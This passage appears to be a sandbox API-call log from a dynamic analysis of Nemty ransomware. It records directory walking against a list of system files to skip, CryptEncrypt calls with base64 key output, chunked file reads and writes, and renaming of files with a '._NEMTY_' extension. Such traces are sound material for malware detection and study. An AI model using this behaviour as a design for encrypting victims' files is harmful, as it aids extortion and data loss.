lpDistanceToMoveHigh=0x0) returned 0xffffffff [0091.536] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0091.536] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0091.536] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0091.546] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0091.546] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0091.546] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0091.546] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0091.555] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0091.556] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0091.556] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0091.556] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0091.565] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0091.565] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0091.565] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0091.565] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0091.574] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0091.574] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0091.574] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0091.574] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0091.583] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0091.584] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0091.584] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0091.584] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0091.593] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0091.593] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0091.593] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0091.593] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0091.603] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0091.603] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0091.603] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0091.603] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0091.609] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0091.609] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0091.609] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0091.609] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0091.615] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0091.615] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0091.615] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0091.615] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340048, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0091.615] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634dc48 | out: hHeap=0x4f90000) returned 1 [0091.615] CloseHandle (hObject=0xffffffff) returned 0 [0091.615] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0091.615] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0091.615] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0091.616] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0091.616] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0091.616] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0091.616] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0091.616] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0091.616] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0091.616] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0091.616] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\15x15dot.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\15x15dot.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\15x15dot.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\15x15dot.png._nemty_kgobjgd_")) returned 0 [0091.616] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0091.616] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0091.616] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0091.616] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0091.616] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0091.616] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0091.616] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0091.616] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0091.616] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f740a33, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f740a33, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x5444a30d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x15f4, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="720x480icongraphic.png", cAlternateFileName="")) returned 1 [0091.616] lstrcmpiW (lpString1="720x480icongraphic.png", lpString2=".") returned 1 [0091.616] lstrcmpiW (lpString1="720x480icongraphic.png", lpString2="..") returned 1 [0091.616] lstrcmpiW (lpString1="720x480icongraphic.png", lpString2="...") returned 1 [0091.616] lstrcmpiW (lpString1="720x480icongraphic.png", lpString2="windows") returned -1 [0091.616] lstrcmpiW (lpString1="720x480icongraphic.png", lpString2="$RECYCLE.BIN") returned 1 [0091.616] lstrcmpiW (lpString1="720x480icongraphic.png", lpString2="rsa") returned -1 [0091.616] lstrcmpiW (lpString1="720x480icongraphic.png", lpString2="NTDETECT.COM") returned -1 [0091.616] lstrcmpiW (lpString1="720x480icongraphic.png", lpString2="ntldr") returned -1 [0091.616] lstrcmpiW (lpString1="720x480icongraphic.png", lpString2="MSDOS.SYS") returned -1 [0091.617] lstrcmpiW (lpString1="720x480icongraphic.png", lpString2="IO.SYS") returned -1 [0091.617] lstrcmpiW (lpString1="720x480icongraphic.png", lpString2="boot.ini") returned -1 [0091.617] lstrcmpiW (lpString1="720x480icongraphic.png", lpString2="boot.ini") returned -1 [0091.617] lstrcmpiW (lpString1="720x480icongraphic.png", lpString2="AUTOEXEC.BAT") returned -1 [0091.617] lstrcmpiW (lpString1="720x480icongraphic.png", lpString2="ntuser.dat") returned -1 [0091.617] lstrcmpiW (lpString1="720x480icongraphic.png", lpString2="desktop.ini") returned -1 [0091.617] lstrcmpiW (lpString1="720x480icongraphic.png", lpString2="CONFIG.SYS") returned -1 [0091.617] lstrcmpiW (lpString1="720x480icongraphic.png", lpString2="RECYCLER") returned -1 [0091.617] lstrcmpiW (lpString1="720x480icongraphic.png", lpString2="BOOTSECT.BAK") returned -1 [0091.617] lstrcmpiW (lpString1="720x480icongraphic.png", lpString2="bootmgr") returned -1 [0091.617] lstrcmpiW (lpString1="720x480icongraphic.png", lpString2="programdata") returned -1 [0091.617] lstrcmpiW (lpString1="720x480icongraphic.png", lpString2="appdata") returned -1 [0091.617] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0091.617] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="720x480icongraphic.png", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0091.617] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0091.617] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="720x480icongraphic.png", cchWideChar=22, lpMultiByteStr=0x4f9ecb8, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="720x480icongraphic.png", lpUsedDefaultChar=0x0) returned 22 [0091.617] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0091.617] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0091.617] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="720x480icongraphic.png", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0091.617] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0091.617] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="720x480icongraphic.png", cchWideChar=22, lpMultiByteStr=0x4f9ecb8, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="720x480icongraphic.png", lpUsedDefaultChar=0x0) returned 22 [0091.617] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0091.617] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0091.617] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0091.617] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0091.617] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="720x480icongraphic.png", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0091.617] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0091.617] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="720x480icongraphic.png", cchWideChar=22, lpMultiByteStr=0x4f9ecb8, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="720x480icongraphic.png", lpUsedDefaultChar=0x0) returned 22 [0091.617] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0091.617] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0091.617] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="720x480icongraphic.png", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0091.617] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0091.617] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="720x480icongraphic.png", cchWideChar=22, lpMultiByteStr=0x4f9ed58, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="720x480icongraphic.png", lpUsedDefaultChar=0x0) returned 22 [0091.617] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0091.617] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94328 [0091.617] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0091.617] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0091.618] Sleep (dwMilliseconds=0x5) [0091.632] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xea439170, dwHighDateTime=0x1d561e7)) [0091.632] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xea439170, dwHighDateTime=0x1d561e7)) [0091.632] GetLastError () returned 0x5 [0091.632] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0091.632] GetLastError () returned 0x5 [0091.632] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0091.632] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0091.632] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0091.632] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0091.632] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0091.633] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0091.633] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0091.633] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e91c | out: pszString="zghdbAjxrssdieMYlwh5Atr/LTuCV3BPTxrCHyEv5RIwgDSWhx9ZhNA/ovUFoVD8\r\nsBB+HRe0Ol4TGNxOWTLZnJUUFMq52VPJBLIBbQmuHFuomasStlhMVNsrsJ92GNvW\r\nm8ktMYlok98yOS8u8wDdYy7hyVhqZ6bFisFy/zhYah3F0ID0rf/M5N481NnMz9Qm\r\nivQp+FKJTS9XNP3Zunfdty4IYYzZJh9aYgpwzqhx90uT69IgGsuQcpCiLsSLojrl\r\n9J9MlfJ3gHk+8t5zXMXQYo/GxrQBfwgeKyUneN+hSabwhXreXWQRoNaFSpgWmXwM\r\nzJVYyNA2cHddJqehG7ACaA==\r\n", pcchString=0x653e91c) returned 1 [0091.633] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0091.633] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0091.633] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0091.633] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0091.633] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0091.633] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0091.633] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\720x480icongraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\720x480icongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0091.635] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0091.635] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634dc48 [0091.635] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0091.635] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0091.644] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0091.644] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0091.645] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0091.645] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0091.654] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0091.654] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0091.654] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0091.654] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0091.663] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0091.663] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0091.663] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0091.663] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0091.672] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0091.672] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0091.672] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0091.672] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0091.682] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0091.682] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0091.682] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0091.682] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0091.691] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0091.691] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: 